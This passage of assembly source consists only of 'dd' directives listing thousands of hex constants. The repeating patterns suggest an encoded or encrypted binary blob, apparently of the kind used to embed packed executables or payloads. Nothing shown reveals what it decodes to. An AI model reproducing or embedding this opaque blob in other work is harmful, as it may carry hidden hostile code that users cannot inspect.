0A7744C03h, 0D5A5DB37h dd 32473256h, 94AEB36Bh, 247CD50h, 5F1F3F67h, 0CB5E4706h dd 9782C498h, 0ABBBB359h, 5FD13256h, 0EA343DAFh, 14B13256h dd 3ABE98A5h, 5DB13257h, 0A20052AFh, 0D9BE6037h, 0ABB1324Bh dd 0D5A6B359h, 0F8583256h, 91B13256h, 0CE75047Fh, 47F40C2Bh dd 0E158C7ADh, 0B582241h, 57B558E8h, 0D5A1323Eh, 0FF3B3D56h dd 15B13256h, 0BAB13EBFh, 376D1156h, 2729B8DBh, 0C7E9FED9h dd 0CAD052A5h, 0D5B5323Eh, 0ED323D56h, 15B13256h, 0DBE6B06h dd 4D5853A6h, 9AB13256h, 79A97975h, 8EA09DA6h, 8AF69441h dd 803F70D9h, 893B5256h, 0BAB7B359h, 0D6BE3256h, 0AEB13256h dd 5623CD37h, 57B72249h, 0D5B0B559h, 0B0493256h, 75BDB859h dd 31BE3256h, 5DB13250h, 0AEB1B959h, 0DE483256h, 0BD246AD4h dd 0C03D3D50h, 0E5B13256h, 75B13DD4h, 0BABBDB56h, 700B3256h dd 5FFA2823h, 0FD6D5146h, 0ABB13CBFh, 0EE81FF56h, 0BCEC828Bh dd 0BB4EFCDAh, 0DB928A3Eh, 5DB134BFh, 737BC956h, 0DC0628DFh dd 0BD20CCD3h, 62BE5250h, 0D54A8889h, 0B6D0253Eh, 7D4452AEh dd 4DBAA7D4h, 0EEB13250h, 503B3D56h, 0A4B13256h, 0D5B133DAh dd 6876CA56h, 73A11BA7h, 0BAB12256h, 5DB13EBFh, 25609256h dd 0CEDA4458h, 6D779200h, 5EBE534Ah, 0EAB1325Eh, 75B3B759h dd 0DBD13256h, 45383D95h, 0A1B13256h, 57B120D5h, 0ABBCDB56h dd 47233256h, 3D50AC82h, 9642AEEh, 0DA7B8F2Fh, 5DBEB459h dd 0A4583256h, 6DB13256h, 2F6AF459h, 8BDA8F36h, 140BB901h dd 8CB724C7h, 0B5B10DD5h, 5DB197D2h, 0AEBBDB56h, 2AEE3256h dd 6FC06BF1h, 0E05BD5FFh, 0E8A14DD5h, 758AB659h, 32BE3256h dd 5DB13257h, 0BECEB1A3h, 5353D52h, 0A4B13256h, 0D5B133DFh dd 2D32CA56h, 75B8DB42h, 7A063256h, 19064ADBh, 47CE9923h dd 0A84ECDE6h, 0ABB6BD59h, 50BE3256h, 0EAB13257h, 65F6F5AFh dd 0BAB13257h, 520B5436h, 0AD313D77h, 31B13256h, 42D0F9DDh dd 2A4ECD94h, 0EAB13ABFh, 16565A56h, 1975F1F3h, 4DF6F55Fh dd 0AEB13255h, 8E063D36h, 2E43B330h, 4A585350h, 8A4ECDA9h dd 0CB13DEEh, 0BAB6DB1Fh, 0D9983256h, 6D45EB58h, 37D053D3h dd 0CA4DC3DDh, 6ED75295h, 55BE4B1Dh, 655853AFh, 0D1B13256h dd 0ECEAAA4Ah, 0B3D321E9h, 29AF8BF1h, 0FEFB300Eh, 0D5B13ABFh dd 0A4B34656h, 613A15B0h, 425DB9FAh, 4B353D36h, 0A1B13256h dd 57B122DCh, 0ABBADB56h, 94473256h, 5898BA2Fh, 57A673BAh dd 0BAB1DAC4h, 0DCEB3256h, 0B81F15BCh, 57BFDB50h, 0BD733256h dd 0F761022Ah, 0F87B9C53h, 45BD981Bh, 0BAA5DB36h, 0FFA93256h dd 7F7648DAh, 0AF539596h, 2892DE82h, 1DDBBBDBh, 61D09CCDh dd 632456E4h, 0B6303D50h dd 52B13256h, 0AEB134DAh, 57303D56h, 20B13256h, 5EBE3A13h dd 0EAB13257h, 89B7BBAEh, 38325336h, 5BA7A732h, 0CED0CE52h dd 57B138BFh, 213F2B56h, 6442A90Dh, 0E5026FF1h, 75B131D5h dd 8877B256h, 0D6BEFB37h, 0AEB13257h, 57B5F0A3h, 0ABA5DB36h dd 0EF313256h, 910DF6Ah, 8673B67Bh, 0FA965718h, 0CCDD269Dh dd 0CF443340h, 5759CB36h, 0F1B13256h, 7B65D8D7h, 2D13440h dd 75B1325Bh, 7441B564h, 64A23E8Dh, 9031F1D7h, 0A8063D04h dd 75063D09h, 0B3D1CB37h, 5FD9D5D7h, 75B4BF59h, 7C093256h dd 3C89C82Dh, 3BE980DDh, 0DCBE3440h, 0ABB1325Eh, 0D5393D36h dd 8BB13256h, 0E0D5806Dh, 3EBE3440h, 5DB13057h, 0AEB13FBFh dd 5E95C56h, 0D5ED9B1Dh, 4E0BC158h, 2D1F226h, 75B13244h dd 0A9D14891h, 0C971DA5Bh, 9B47200Bh, 8F647E1Ah, 16018B84h dd 0B462B909h, 61440CDDh, 0C3BECA89h, 0ED13319h, 3C46B94Dh dd 0AFF6C4AAh, 13343DD6h, 52B13256h, 0D5B0BE59h, 0E9493256h dd 75B9DB8Fh, 24313256h, 0ACE1ACA3h, 0E45893B9h, 0BEB13256h dd 0ABB13242h, 0D02A0759h, 0F001369Bh, 96D1D82Eh, 60847F4h dd 0DE8CA093h, 0AEB138BFh, 0A2267156h, 3FFA7D3Bh, 0FEBB5FE8h dd 0F03C3D8Fh, 7AB13256h, 0BAB126D0h, 5DBEDB56h, 0C1463256h dd 0DB2F0B70h, 0A2E66440h, 3334A1F4h, 0E5D171BAh, 75B131DFh dd 633A5456h, 5DB126BFh, 24489256h, 0B71F891Ah, 0AE874A80h dd 18AF142Ch, 0F4032159h, 0F8BE5377h, 0BAB13249h, 5DA8BC59h dd 0BA583256h, 23B13256h, 13702678h, 701AD904h, 0F40B7E0Dh dd 247B25EFh, 0F9EEE295h, 0DCEA6536h, 126999Fh, 0D23A530Eh dd 0ADA11FB3h, 0D5B138BFh, 0D91FFE56h, 0EC005F79h, 31F844BAh dd 4D996FDBh, 68315250h, 0E8BE6124h, 90D06880h, 0AE333D8Eh dd 0E5B13256h, 75B125DFh, 0B0595256h, 6FB13256h, 1AA62114h dd 895F4A88h, 2AD76DA4h, 0B444159Eh, 6DBEEB6Dh, 75B13200h dd 0BA333D36h, 0A5B13256h, 0AA77B137h, 5840B836h, 0ABB134D2h dd 0B751B356h, 8BDB9C19h, 8A4F49BFh, 3BD752A9h, 0E28AF784h dd 0A95A3074h, 0D6075237h, 0ABB138BEh, 0B5237456h, 6985C9ADh dd 9C0D92BAh, 0BAB13246h, 0F4A35C74h, 566BF003h, 57CE654Ah dd 1AB4351Dh, 1A8A530Fh, 0EAFAB659h, 61583256h, 0EB13256h dd 7B994FB0h, 0D412AD8Ah, 69D62602h, 482A19D9h, 5C6A4039h dd 0FA996FEBh, 75B9DB50h, 0B5BB3256h, 47599540h, 5758B616h dd 0BE4ECDABh, 0ABB13242h, 188AF2C3h, 359C263Ch, 300E61B5h dd 91BB65D7h, 0E84F5502h, 0AB5853AFh, 0BFB13256h, 0DB4B2C0Bh dd 0D4393D95h, 1FB13256h, 75A1DB36h, 0B18F3256h, 0B149F81Ah dd 209D1191h, 33E75791h, 0AB59F678h, 8FB13256h, 5BE9D8D7h dd 9DD13440h, 0BAB13253h, 59487086h, 0AEB7DA7Ah, 40063256h dd 0EA705D1Eh, 5ED76A0Fh, 0FA5853ADh, 0B4B13256h, 0B7761423h dd 292E25A2h, 2BF479F8h, 0DC31E4EEh, 0BD246AECh, 0DE323D50h dd 8AB13256h, 0F4778559h, 0BA5CCB8Ch, 0DDD1530Ah, 23BEC198h dd 57B13253h, 0C9498FE8h, 0D5085338h, 3B13257h, 75B1325Eh dd 5A6F1E85h, 0BE39D130h, 0CED1F265h, 0E7C68A30h, 0ABB13DBEh dd 75D60456h, 60DDC537h, 56CFB9B7h, 30BA9EC3h, 3C485308h dd 0A1D199A5h, 57B122DAh, 0ABBADB56h, 5F6F3256h, 0CC91AA5Dh dd 587F1812h, 4D3A5457h, 0D6D75237h, 5F3A5489h, 0F33B937h dd 0A4B724C3h, 0D5B135DBh, 0EB3A3D56h, 8CB13256h, 0BAB0BA59h dd 0D44D3256h, 0B82456D4h, 57A1DB50h, 7B403256h, 2C23FB6Bh dd 71F44B62h, 778AED63h, 43D0384Dh, 463A3D95h, 0CEB13256h dd 57B13CBFh, 1824CA56h, 0FFEECE44h, 0A82BDF01h, 7AB9473Dh dd 0BAB132DEh, 3DD15356h, 0CF768559h, 57B132BEh, 41306856h dd 0D3A78024h, 0EABBDB36h, 0D6813256h, 2C493603h, 30AEEF8Eh dd 0CFEADCD6h, 57B7DB36h, 133256h, 864A0A64h, 0EAB120BEh dd 0CB505556h, 9B244446h, 0A44133Fh, 0C326D908h, 0D641E5BFh dd 0E0FBA78Eh, 2DD06C2Eh, 0C954B790h, 8CE73446h, 0A5DC0B3Eh dd 533C3D82h, 47B13256h, 57B1325Fh, 32D209F8h, 385D6C48h dd 0E75852C7h, 0E6B13256h, 513B8C2Dh, 36ED9655h, 9483DFE9h dd 0A8D0CADDh, 0BBAC77E3h, 163A5250h, 0EAB13EBEh, 1F204A56h dd 0CDD5136h, 0FAD5E726h, 6740B340h, 0CB8AFB0h, 2134BF37h dd 0DAB721D3h, 0EAB134DEh, 7A4D5256h, 45D0C2E1h, 0B4E3CE86h dd 0AEB1325Ch, 9419ECF2h, 2E5B258Fh, 0B5E165C1h, 8CEBCA06h dd 14DBA5EEh, 0BA31323Eh, 49585256h, 0B1B13256h, 0FE1BA9h dd 0FAA3946Eh, 85423E6Dh, 3BD080EAh, 9C53340Ch, 0BAB1325Fh dd 0E4E394AEh, 0AEEC5085h, 57DB53AFh, 0ABB13BBFh, 0C97F1956h dd 0EE8E23Bh, 0C74ECCF3h, 0BCA7A3A8h, 5DB121BFh, 0F1F95556h dd 0EEB7B1D0h, 0C9186BB9h, 49C7AB1Dh, 4925CCB2h, 0FABEE2A9h dd 0BAB1325Dh, 0CF51B236h, 0AEB1BA59h, 0FD03256h, 0ABBFB659h dd 0DC583256h, 0FAB13256h, 7438C0EAh, 83CE3437h, 3B495236h dd 0CF5481ECh, 57B122BFh, 5DEC2256h, 0F0606018h, 9AC6AE81h dd 8BE1777Ah, 0DAEB533Eh, 3B12EDD7h, 0C6D055BFh, 57B1B256h dd 52063D36h, 0DB5853AAh, 3B13256h, 4404994Dh, 6B966ED6h dd 878999F6h, 0A1B15810h, 57B13EDFh, 0AD373D56h, 0DAB13256h dd 0EAB132D4h, 2D03CD56h, 0DAB724C3h, 5DB123BFh, 0F15B8356h dd 5469BE5Eh, 0E4956715h, 0CF2A26CEh, 15D003A7h, 13495286h dd 0DBD909EFh, 136AB236h, 0AEB138BFh, 1267C56h, 907F22F0h dd 0B4E23095h, 1372C737h, 993ACB03h, 5BEC736h, 0A4D153AFh dd 0AEB132BEh, 0BD306856h, 0ADA78638h, 0D5B13ABFh, 7FD1DE56h dd 0C4843Dh, 0BABCDB24h, 59DC3256h, 9CE86486h, 0F5BFCD58h dd 20C44DA4h, 59BE3A23h, 0EAB1325Eh, 75B3B059h, 0DBD13256h dd 5DBE34BEh, 47E4C756h, 57B1325Ch, 3DCE0F40h, 24580D33h dd 784E7BF0h, 73A7A0BFh, 3CBE6FAEh, 5DB13257h, 0A2C409AFh dd 0A863B759h, 5E48CDA9h, 0D5BFE4BEh, 20305256h, 1297AEC3h dd 0B5D15337h, 5DB134DAh, 0AE353D56h, 31B13256h, 62D0C9DDh dd 0E870B336h, 60807D79h, 0B74853B3h, 0AA58325Eh, 0B7B13256h dd 86F32B37h, 5C956333h, 9FFBCC74h, 80D9D8E6h, 0EAB123BFh dd 25681056h, 0A9AD66F4h, 9C21645Fh, 16B03C4Ah, 5E583144h dd 8AB13256h, 0C700B6DCh, 0ECCCFE54h, 7AD1DEDDh, 0BAB132DCh dd 9E063D56h, 5275B137h, 57A0B159h, 42D13256h, 0D5B1325Eh dd 0D3CD279Ch, 2CAB4172h, 0ECD0F3DDh, 8E305436h, 663AA499h dd 58D16537h, 0ABB132DFh, 0D6353D56h, 0E5B13256h, 26D0FBE9h dd 0BAB1DAAFh, 0DCEB3256h, 0B804B5BCh, 56343D50h, 5EB13256h dd 0D5A2BB59h, 0E4583256h, 5BB13256h, 0FD1B04C1h, 0ACE91105h dd 400CC731h, 5FC4B99Fh, 0BBCCB9AEh, 0D5B138BFh, 0B15D7E56h dd 828BEF83h, 0ED40D229h, 5DB121BFh, 0DFD60F56h, 21E3175Ch dd 2C86BAF1h, 0D0165BE9h, 3BF59147h, 75A3DB00h, 522F3256h dd 24CCF2Dh, 0C16FA773h, 1766CB51h, 0A5F294CDh, 0D5B04BBEh dd 2ABACB56h, 7575B659h, 31483256h, 0B4E4CBAEh, 0AEB1325Ch dd 0A85E1D13h, 0F47CDC2Fh, 474EE623h, 0ECA7A0BFh, 0F1BE6136h dd 0BAB13256h, 2E52B20Ch, 0A1D16F37h, 57B13FDBh, 0ABB6DA56h dd 0F46C3256h, 54F63DF7h, 0F4D76A68h, 0DB5285B9h, 52BD476Dh dd 0AEB14BD2h, 0DCD7C756h, 0AA3C3D48h, 29B13256h, 1341D5D6h dd 75B121BFh, 2EC96656h dd 0FF794923h, 0A802FB0Ah, 7E7C5A3Fh, 9F6AA45Bh, 0DF582CDCh dd 32B13256h, 444FF904h, 19573CDh, 0AD52B250h, 0AEB122BFh dd 7F6D9B56h, 0B2023899h, 67D4A8Ah, 3C1E6DF1h, 5230DAEBh dd 0D13256h, 8F595C3h, 2774F8D7h, 0BED0757Ah, 544ECD59h dd 0D5B13FBFh, 4A8C0356h, 49B14831h, 51AA1B45h, 2038FE04h dd 0AEBEDBAAh, 59F43256h, 0F6B76D9Eh, 41A4E00Ah, 72E87E46h dd 8390DAB8h, 0B458CDA9h, 30B13256h, 3F43860Dh, 50074FEAh dd 0FF0EEE10h, 61D1698Dh, 193A5477h, 75B4DB37h, 2C013256h dd 276AD36h, 0AEA1BE59h, 0D8BE3256h, 0ABB1325Ch, 0D5B137BFh dd 56524856h, 8CEF1F81h, 0BAA7B959h, 0B5D13256h, 0AEB1325Fh dd 0DAB73D2Ch, 0F836D938h, 54D76A35h, 8B5C9FB9h, 7A4D77DDh dd 0BAB135D3h, 5C333D56h, 56B13256h, 0D6BE529Fh, 0ABB13254h dd 54BEEADDh, 0EAB13254h, 7AD0FDDDh, 0BAB133D9h, 5173CA56h dd 60305256h, 77E83279h, 0CBE453AFh, 0C75A8BAEh, 8AD0357Dh dd 75B4BE59h, 3BD73256h, 3BEC26A0h, 0E85DC3D7h, 0A25DB937h dd 5249F6D5h, 0D5B9DB01h, 574E3256h, 0CE5E776h, 0A958FD73h dd 2BB13256h, 3CCF2AEDh, 2A32E19Eh, 902DC935h, 15655EFFh dd 3E7CE96h, 75B1325Dh, 0E0D96269h, 8FECE631h, 0FFB0B8DAh dd 57B0BD59h, 0CB443256h, 657BB930h, 12E2530Bh, 75497791h dd 43B13256h, 0C961B091h, 0AEB03440h, 0DEBE3256h, 0ABB13259h dd 0D5B138BFh, 33955D56h, 0B49CBC64h, 31109041h, 3BD13A23h dd 3A50C4D7h, 9C3A5436h, 0CAD05336h, 0DAAFB930h, 0EAB133DDh dd 0CF3ACE56h, 0BCA7A3A8h, 5DA4BE59h, 47D13256h, 57B1325Ah dd 78385691h, 97DC54A4h, 752BBA62h, 8DD0EDDDh, 0DAB96DDDh dd 3C7787A3h, 2ABEE95Dh, 57B132D5h, 0AD313D36h, 54B13256h dd 0BFD8A180h, 73333D24h, 3BB13256h, 0E4F95580h, 708A534Ch dd 578EB759h, 2CBE3256h, 0D5B1325Ah, 0EAB7B959h, 0F8BE3256h dd 0BAB13256h, 0A8BD6FDDh, 0AB3E3D36h, 31B13256h, 85FDC2D7h dd 8A3853AEh, 64BECA5Ah, 75B13247h, 5257B836h, 5DB13251h dd 0B12E1A5Ah, 80C5169h, 0BF76B137h, 2A37DBA3h, 68BECDA9h dd 75B13245h, 0BAB8DB36h, 0AE733256h, 0EE965718h, 58DD269Dh dd 0CDD0F8E1h, 0B5492CDDh, 0EAB138BEh, 68AAF956h, 672A9FF0h dd 0D6CA9B86h, 503A6DAEh, 0BF4AB237h, 0A82CB659h, 2CD13256h dd 7DCF8A36h, 0F4D72E7Bh, 0DB5CF68Fh, 0A631CE37h, 2A353DBFh dd 58B13255h, 0ABB13AD4h, 0D7383D56h, 8AB13256h, 9E4AB237h dd 0B9DCB659h, 0DABE3256h, 0AEB13241h, 57B120BFh, 0C4F71A56h dd 18D8169h, 2BA1CDC6h, 99B50BCAh, 3AA43765h, 0D9BED0ADh dd 0AEB13168h, 0B44AB2A3h, 0A8A6B659h, 5FBE3256h, 0EAB13257h dd 8E3054AEh, 3EBED131h, 5DB13174h, 0AF353D36h, 0AEB13256h dd 510E3D06h, 3231530Dh, 0F2333DA6h, 9CB13256h, 0BAB13245h dd 9E586306h, 0EBAD14BEh, 0D26F3996h, 5C988515h, 0B36CD372h dd 6ABEC9D7h, 7740B659h, 36BE3256h, 5DB1324Fh, 0AEB126BFh dd 0CB87C56h, 32521F46h, 0CDD25EC8h, 0C52E0AC0h, 8AF1698Fh dd 4A52B216h, 71B336h, 0C8FF482Ah, 37D0CCDDh, 0A4D146E5h dd 2131CAE1h, 6AD05389h, 0F1BE42ADh, 0BAB130F9h, 5DB121BFh dd 0ED547956h, 0F631FE01h, 0B6A600EEh, 4855A31Ch, 0C89C9B8Ch dd 9CAFB930h, 0BAB1325Ah, 4E325B15h, 0BA0C79F0h, 35853E38h dd 0CB49D1D6h, 6D4AB237h, 0EB74B659h, 9CD13256h, 0BAB13258h dd 6E327BB9h, 3861F604h, 62319216h, 7C308A60h, 90443D4Dh dd 0EF8FB237h, 7410B659h, 3AD13256h, 3BE3A3BBh, 0CFEAE5DDh dd 589C0CD6h, 0ABB0BCD2h, 6ABE5256h, 0EABADBADh, 23453256h dd 8D4433C3h, 91C2643Ch, 9031532Ah, 27353D3Eh, 42B13257h dd 0D5B1325Dh, 0ACA85F91h, 0CF7CB958h, 0DAC418E3h, 0A8638559h dd 7E33CD37h, 37B724C2h, 0ABA9B559h, 0C6583256h, 0BEB13256h dd 0CD6B301Eh, 0C7CF8FD3h, 0FBCFF6A6h, 64007EDEh, 31D0A67Dh dd 43D12CDDh, 0D5B13251h, 0B96F83CEh, 2287125Eh, 3BD76908h dd 3C4AA2B0h, 5B49D5D6h, 57B6B559h, 24BE3256h, 0D5B13257h dd 113054AEh, 0F1BEDAD7h, 0BAB132A9h, 5DB13EBFh, 5915DE56h dd 0A56CAF6Fh, 41743656h, 0CB3A54FDh, 1C0E3D36h, 14468559h dd 0B541D5D6h, 5DB13EDDh, 0A8383D56h, 58B13256h, 0ABB132D4h dd 2E305456h, 6EBEF2D7h, 75B13295h, 0BAB9B659h, 0D0BE3256h dd 0AEB13254h, 0D6BE5336h, 0ABB13257h, 0C45852AAh, 5DB13256h dd 0FC15EC9Eh, 0A2E9B645h, 95211523h, 8E2742F7h, 3141B936h dd 0A1A1E2D7h, 54BE6737h, 0EAB13251h, 75B0B359h, 45443256h dd 4B23DBC4h, 0A7393D50h, 37B13256h, 0CD0ECBEDh, 0B449B93Eh dd 0EAA5DB0Bh, 630F3256h, 4CBA8A56h, 0BE2D71AAh, 78596168h dd 20C09866h, 0EE380CF9h, 0DD333DAAh, 8AB13256h, 0CFD76A04h dd 0DBD00F73h, 5DB13DBFh, 412B4A56h, 26808626h, 3DB1E67Ah dd 4A1415A6h, 0EB4D4FD5h, 7462B759h, 52D13256h, 5DB13246h dd 68171630h, 69F22Ah, 0DE3CA55Dh, 14A6042Ch, 89410BE8h dd 0CED76871h, 31D0B5EBh, 4DBAA7ECh, 0AF393D50h, 0AEB13256h dd 293AC706h, 0D3A7A686h, 0EAA3B959h, 9CD13256h, 0BAB1325Fh dd 101F2C3Fh, 0A02F9938h, 36EF6085h, 53810E6Fh, 0AF333D0Eh dd 12B13257h, 5756B336h, 30F0612Eh, 0E73A539Eh, 0A8A11BA7h dd 0A665B236h, 0FBD06D05h, 0B5EE6236h, 8C42B930h, 14D0FCDDh dd 2E61B0DDh, 64443440h, 2ABE026Ah, 57B13257h, 24BE6AAEh dd 0D5B1336Bh, 0EAB138BFh, 6CA11556h, 0F0206A95h, 0B49FC4ABh dd 0AEB13271h, 0AFF4F5AEh, 0ABB13254h, 0D5BBBC59h, 8CD13256h dd 420EFCDDh, 0DB9F961Dh, 5DB138BFh, 0EB76CA56h, 57B133AEh dd 2049CA56h, 0C320CCECh, 6FBE5250h, 75B13254h, 31D0D6E6h dd 4D3A3D49h, 0A1B13256h, 57B138D5h, 0ABB4DB56h, 0A3013256h dd 0E1380723h, 0A7353D8Dh, 53B13256h, 5DB13245h, 660239F5h dd 0A55E5E9Ch, 0F0CB4A5Ch, 0CED6957Dh, 0D10E0B6Fh, 0C343D88h dd 4FB13256h, 52BD6FDDh, 0AEB124D1h, 57A0DB56h, 0C4993256h dd 4A6B3177h, 3733D5C7h, 3C410A67h, 39B9CB68h, 52B1CA2Bh dd 0AEB11AD2h, 0DCD75256h, 0ABA1DBAFh, 2F823256h, 46470965h dd 0F8AB8DB4h, 0B57047ECh, 5ED00131h, 0A858CA0Bh, 0DBB13256h dd 0A4DB6405h, 0D1EEBB20h, 0EAB120BFh, 0E5105A56h, 5EA0DE34h dd 5BB93B4Bh, 9226B676h, 5861D20Eh, 0ABB135D9h, 0D43A3D56h dd 1FB13256h, 7AA5F5D5h, 0BAB120D5h, 513B3D56h, 47B13256h dd 57B13251h, 5D8F8E2Ah, 3C3C38BFh, 154ECD71h, 897101AAh dd 0BAB5D6BFh, 5DBADB56h, 832B3256h, 0E5280D83h, 59BDBE2Ah dd 0CB3A54EFh, 0EAB120BFh, 0C5140C56h, 77D27D23h, 1BE6DF54h dd 0CCFD717Ah, 589D7686h, 0ABB13DD6h, 0D5BBDB56h, 60353256h dd 507824BFh, 0A1015989h, 0A1BD4FDDh, 0A15AC9D6h, 57B15CD2h dd 0A43A3D56h, 3CB13256h, 0EAB1325Ch, 0F601B10Eh, 688231DEh dd 0BE3115E4h, 0AF303DA6h, 0ABB13256h, 0A4C1C9D6h, 0D5B180D2h dd 0EAA1DB56h, 3E6A3256h, 0F176B606h, 60C9515Ah, 0EDD006B7h dd 23583925h, 0CBB13257h, 0DE5880E1h, 54B13256h, 91899D9h dd 46D4279Bh, 52D0920Eh, 0AEB120DEh, 57BCDB56h, 4D363256h dd 2F43F48h, 7CF82A6Ah, 0B3AD9CE9h, 7D48DB51h, 5DB13311h dd 23BE3256h, 57B13251h, 0ABB0BF59h, 0DA483256h, 0EAB124DAh dd 75A0DB56h, 4B13256h dd 55130E77h, 0EEA237CFh, 53975251h, 205B6345h, 0DA58CE91h dd 0BEB13256h, 0ADE003C2h, 0C56F1758h, 5FFBD7h, 6E322622h dd 8158C753h, 0A4B13255h, 0D5B120D5h, 0EABCDB56h, 1DF23256h dd 2DFE5B81h, 7708E977h, 0C824EB37h, 5FBE3591h, 0ABB121BFh dd 534E6456h, 89BEAF75h, 0CAED0A5Bh, 0EF172782h, 8490977Fh dd 2E4D2CDCh, 0E3D13DB5h, 0ABBDDB24h, 0F0673256h, 13FED980h dd 0D3DB1519h, 0DAD0122Ah, 52D1CADDh, 0AEB132DDh, 36D05256h dd 2B7AB237h, 0D5B122BFh, 84363256h, 0B1CA94Bh, 699889BBh dd 0CD7AEE44h, 0AFEEBA3Ah, 57B13EBFh, 0D5DAAF56h, 7281BB55h dd 0DE6EDA44h, 77F6F5A1h, 0BAB13256h, 5DB122BFh, 0C05DE356h dd 0A9FC8CA2h, 2EAD5415h, 7356877Fh, 0E6373D41h, 7AB13256h dd 0BAB134D2h, 5D303D56h, 25B13256h, 8F3A5291h, 0ABB121BEh dd 47B8D556h, 22BBD06Fh, 0F098C76Dh, 0BBF9DB02h, 0A3A07464h dd 0AEB1BC59h, 36EA3256h, 52B7F2D5h, 0D5B6B159h, 60D13256h dd 0C560B2A8h, 0B852DB37h, 3B443256h, 3E210CD7h, 57FFB659h dd 2B493256h, 50BEA268h, 0EAB13224h, 0FBBE5236h, 0BAB13256h dd 0B369B330h, 14D75300h, 31D070D2h, 3B4E4CD7h, 0F0353DC6h dd 8AB13256h, 13EAD1D6h, 53D0CADDh, 5DB13210h, 0AEB121BFh dd 2B8BF256h, 8CE176A2h, 43281993h, 3A8321D9h, 316BB462h dd 5348F5DDh, 5DB130D7h, 0E80F5436h, 57B7DA1Dh, 0F01A3256h dd 0DE4E034Ch, 0EAB13DBFh, 3E08A856h, 0A717BF18h, 0A5068E95h dd 3F5DD005h, 0D53C530Ch, 0ADA7A7D9h, 0D5B138BFh, 7063B956h dd 0D9638F87h, 0EA1B9EA8h, 0DBBE64A3h, 0AEB13257h, 5B3D3DAEh dd 0A4B13256h, 0D5B134D6h, 0EA313D56h, 8AB13256h, 0AC2238C4h dd 0DCD75250h, 250CEE99h, 97BA53A1h, 0ABD4B659h, 5EBE3256h dd 0EAB13241h, 75B120BFh, 87A42756h, 0C7F48C6Ah, 1C7CA1FCh dd 58FC3B5Eh, 20F8F2C5h, 0C759529Eh, 77B13256h, 0BA395D0Fh dd 5C0EAC3Ch, 0E9FBF10h, 64D6428Eh, 0DDEFCAD7h, 193C53B7h dd 0D3A7A7D9h, 0EB3B3DAEh, 8CB13256h, 0BAB1B1BFh, 5DA0DB56h dd 0B8E53256h, 663A8018h, 941506C8h, 4E41C8C8h, 0BC2FA460h dd 75B6DA36h, 0E3EB3256h, 4C90D38h, 0F0D052AAh, 993A53A3h dd 0A4E4CBA3h, 0D5B133D5h, 784ECB56h, 73A7A0BFh, 0BAB4B659h dd 0D7D13256h, 0F3D0CB88h, 587F19A3h, 0ABB13DD2h, 0D5BBDB56h dd 6A8A3256h, 6D115A50h, 182D863Bh, 0DCD76036h, 0F6E5119Ch dd 0A268C537h, 0ABB0B959h, 8B483256h, 0EABBBE59h, 15D13256h dd 0FF5EB337h, 3CCFC46Fh, 0AF494FD5h, 5738B759h, 0A3583256h dd 6AB13256h, 0D7BA8773h, 0C5FFF9D4h, 35BECE1Fh, 5DB13257h dd 28BE98AAh, 57B1325Ah, 0ABB7BA59h, 55BE3256h, 0EAB13256h dd 0F0BE8A30h, 0BABBB659h, 0DCD13256h, 33102FBCh, 36778745h dd 0A4499930h, 0B5B074E0h, 0EAB13ABFh, 0C4500256h, 3BFEB113h dd 0EC08546Fh, 0CE1A53C4h, 0C49A06E8h, 6458530Fh, 0B5B13256h dd 0EAA2DA00h, 0C0353256h, 710E2B02h, 1BF85A23h, 0C6CE9DE8h dd 0F377AC25h, 0CAE96DA7h, 0D5B0B659h, 69493256h, 7AB3CA2Bh dd 0BAB1A0D3h, 0E6075256h, 0A5095437h, 630B529Fh, 42F06264h dd 0D5B1325Eh, 6BFD4A0Ah, 7EBFF4CEh, 531A5437h, 5DB1325Fh dd 1505501Eh, 0F3EC2C20h, 53D15250h, 0FD93D0D7h, 0E5D044B2h dd 75B126DAh, 0BABFDA56h, 0A7A63256h, 0FB02B459h, 97E7CB02h dd 22FF3D64h, 6DD75308h, 8C48B659h, 75B4DBFDh, 0E2A13256h dd 52D88002h, 57B074E0h, 57B139BFh, 1CAF2256h, 50BD274Ch dd 6E02350Fh, 7D3A3DFDh, 0B5B13256h, 5DB130D2h, 47D05256h dd 57B13240h, 0ABB0BA59h, 26443256h, 0ED3A3DF2h, 7AB13256h dd 0BAB133DFh, 9A3ACA56h, 0C8D169AAh, 8E58E4D7h, 0F0E86200h dd 3CD16B37h, 0EAB1325Ch, 40A92AD3h, 0ECCC2EE8h, 0D6D7E93Ah dd 47EF538Ch, 57B1325Dh, 6B3E7FDFh, 0FFCAED23h, 0B5751A8Dh dd 0F3085436h, 0BAA2DA75h, 74A63256h, 73E14841h, 7E8E97D1h dd 56F35ED9h, 0DB7DF768h, 0B1D05227h, 15D1FB37h, 0BAB13DBFh dd 6ADA4656h, 0E40A8AC6h, 97EAE99h, 0B1246B85h, 0B409C7D6h dd 0E273C737h, 74393D56h, 42B13256h, 5258C703h, 0D4B13256h dd 0F6BE9933h, 0D8AE713Bh, 0E6F88DF1h, 63AE1E6h, 75A7B359h dd 0AB583256h, 0E1B13256h, 0BAAF1D98h, 95830E7h, 0BEE4C813h dd 460055ABh, 0EA59CE36h, 2FB13256h, 7991D8D7h, 0DABE3440h dd 0AEB13245h, 57BBDB36h, 3A93256h, 0C67F8A1Bh, 7B529715h dd 7AD078E3h, 0BAB137D3h, 0E2BE5256h, 254D53A1h, 0DE4D3A13h dd 0BD2342D4h, 0D5B4DB50h, 3F803256h, 9CA67B7Dh, 0BAB13245h dd 632654DAh, 8E0EBA69h, 12E5B11h, 0FD0BE608h, 0B41A4C15h dd 0EABBBA59h, 0F4D13256h, 72914BBDh, 3C82822Eh, 0A23C3D9Fh dd 0BEB13256h, 0ABB13251h, 0E14AC936h, 2811DED5h, 13D13252h dd 0A2C5D4D7h, 0A0768836h, 78315475h, 2D053C3h, 0ABB126BFh dd 9C73B856h, 3D3550Eh, 8D24F5A8h, 0E7DDB2F7h, 924597ECh dd 0CE5DB970h, 57B9DBA3h, 0A16D3256h, 80AD24F4h, 0E5D00271h dd 75B13AD4h, 0B8373D56h, 3DB13256h, 5675B137h, 0DDBE52AAh dd 0ABB1324Fh, 0D5B126BFh, 0DEF5AA56h, 0BD2D888Ch, 5C85C2DBh dd 155F48ABh, 361C573Ah, 57B1DAB4h, 2AEB3256h, 0C37521BCh dd 16D1CA50h, 74333D37h, 46B13256h, 5D497791h, 0CEB13256h dd 0F46EB330h, 643054ADh, 12D00344h, 0EAB1CE13h, 0F5D13256h dd 3BD7379Dh, 3CAB148Fh, 29BEF265h, 57B13251h, 91AF8836h dd 3CD0363Dh, 0EAB13244h, 696DEFB9h, 98016E4Dh, 89A15EF3h dd 0F48AB52h, 0DCD775E1h, 1E085248h, 0DA855074h, 0EAB137DBh dd 84378C56h, 7DD04F35h, 4B25E2D4h, 